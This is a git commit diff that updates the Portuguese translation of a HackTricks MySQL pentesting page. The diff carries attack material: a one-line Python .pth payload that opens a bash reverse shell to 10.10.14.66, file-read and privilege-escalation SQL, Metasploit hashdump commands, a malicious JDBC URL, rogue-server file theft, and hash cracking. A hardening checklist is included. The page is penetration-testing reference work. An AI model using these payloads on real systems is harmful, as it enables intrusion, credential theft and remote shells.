mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to pt
This commit is contained in:
parent
09788796bf
commit
73502f98e8
@ -78,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### Enumeração de Permissões do MySQL
|
||||
### Enumeração de Permissões MySQL
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -117,7 +117,7 @@ Abusando do clássico `INTO OUTFILE`, é possível obter *execução de código
|
||||
2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar.
|
||||
3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo, `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), a carga útil é executada com os mesmos privilégios que o processo do servidor web (FortiWeb o executou como **root** → RCE total pré-autenticação).
|
||||
|
||||
Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessária):
|
||||
Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessário):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
@ -130,7 +130,7 @@ Importantes limitações e contornos:
|
||||
* `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo.
|
||||
* O caminho do arquivo é resolvido **relativo ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto.
|
||||
* Se a entrada do atacante for extraída com `%128s` (ou similar), qualquer espaço truncará a carga útil; use sequências de comentários do MySQL `/**/` ou `/*!*/` para substituir espaços.
|
||||
* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em todos os lugares.
|
||||
* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em qualquer lugar.
|
||||
|
||||
Após soltar o `.pth`, simplesmente solicite qualquer CGI tratado pelo interpretador python para obter execução de código:
|
||||
```
|
||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## Leitura arbitrária de arquivo MySQL pelo cliente
|
||||
|
||||
Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
|
||||
Na verdade, quando você tenta **carregar dados locais em uma tabela**, o **conteúdo de um arquivo** que o servidor MySQL ou MariaDB solicita ao **cliente para ler** e enviar o conteúdo. **Então, se você puder manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
|
||||
Por favor, note que este é o comportamento usando:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**PoC Inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Neste artigo você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -177,7 +177,7 @@ Será muito interessante se o mysql estiver rodando como **root**:
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### Configurações Perigosas do mysqld.cnf
|
||||
#### Dangerous Settings of mysqld.cnf
|
||||
|
||||
Na configuração dos serviços MySQL, várias configurações são empregadas para definir sua operação e medidas de segurança:
|
||||
|
||||
@ -188,7 +188,7 @@ Na configuração dos serviços MySQL, várias configurações são empregadas p
|
||||
- **`sql_warnings`** gerencia se strings de informação são geradas para instruções INSERT de uma única linha quando surgem avisos, contendo dados sensíveis dentro dos logs.
|
||||
- Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança.
|
||||
|
||||
### Escalada de privilégios
|
||||
### Privilege escalation
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -208,9 +208,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Escalada de Privilégios via biblioteca
|
||||
|
||||
Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está rodando o mysql.
|
||||
Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql.
|
||||
|
||||
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os de **Windows**, escolha o que você precisa.
|
||||
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os **Windows**, escolha o que você precisa.
|
||||
|
||||
Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**:
|
||||
```bash
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Destaques (novo)
|
||||
|
||||
### JDBC `propertiesTransform` deserialização (CVE-2023-21971)
|
||||
A partir do Connector/J <= 8.0.32, um atacante que pode influenciar a **JDBC URL** (por exemplo, em software de terceiros que solicita uma string de conexão) pode solicitar que classes arbitrárias sejam carregadas no lado do *cliente* via o parâmetro `propertiesTransform`. Se um gadget presente no class-path for carregável, isso resulta em **execução remota de código no contexto do cliente JDBC** (pré-autenticação, porque nenhuma credencial válida é necessária). Um PoC mínimo se parece com:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Executar `Evil.class` pode ser tão fácil quanto produzi-lo no class-path da aplicação vulnerável ou deixar um servidor MySQL malicioso enviar um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma lista de permissão.
|
||||
(Consulte o artigo da Snyk para detalhes)
|
||||
|
||||
### Ataques de servidores MySQL falsos / maliciosos contra clientes JDBC
|
||||
Várias ferramentas de código aberto implementam um protocolo MySQL *parcial* para atacar clientes JDBC que se conectam externamente:
|
||||
|
||||
* **mysql-fake-server** (Java, suporta exploits de leitura de arquivo e deserialização)
|
||||
* **rogue_mysql_server** (Python, capacidades semelhantes)
|
||||
|
||||
Caminhos de ataque típicos:
|
||||
|
||||
1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`.
|
||||
2. O atacante controla a entrada DNS / host para que o nome do host do DB resolva para uma máquina sob seu controle.
|
||||
3. O servidor malicioso responde com pacotes elaborados que acionam a leitura arbitrária de arquivos `LOCAL INFILE` ou deserialização Java → RCE.
|
||||
|
||||
Exemplo de linha de comando para iniciar um servidor falso (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo como base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Quebrando hashes `caching_sha2_password`
|
||||
MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto o Hashcat (modo **21100**) quanto o John-the-Ripper (`--format=mysql-sha2`) suportam quebra offline desde 2023. Exporte a coluna `authentication_string` e forneça-a diretamente:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Lista de verificação de endurecimento (2025)
|
||||
• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/gravação de arquivos.
|
||||
• Remova o privilégio **`FILE`** das contas de aplicativo.
|
||||
• No Connector/J, defina `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio).
|
||||
• Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`).
|
||||
• Monitore por declarações `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e declarações súbitas `SET GLOBAL`.
|
||||
|
||||
---
|
||||
|
||||
## Referências
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user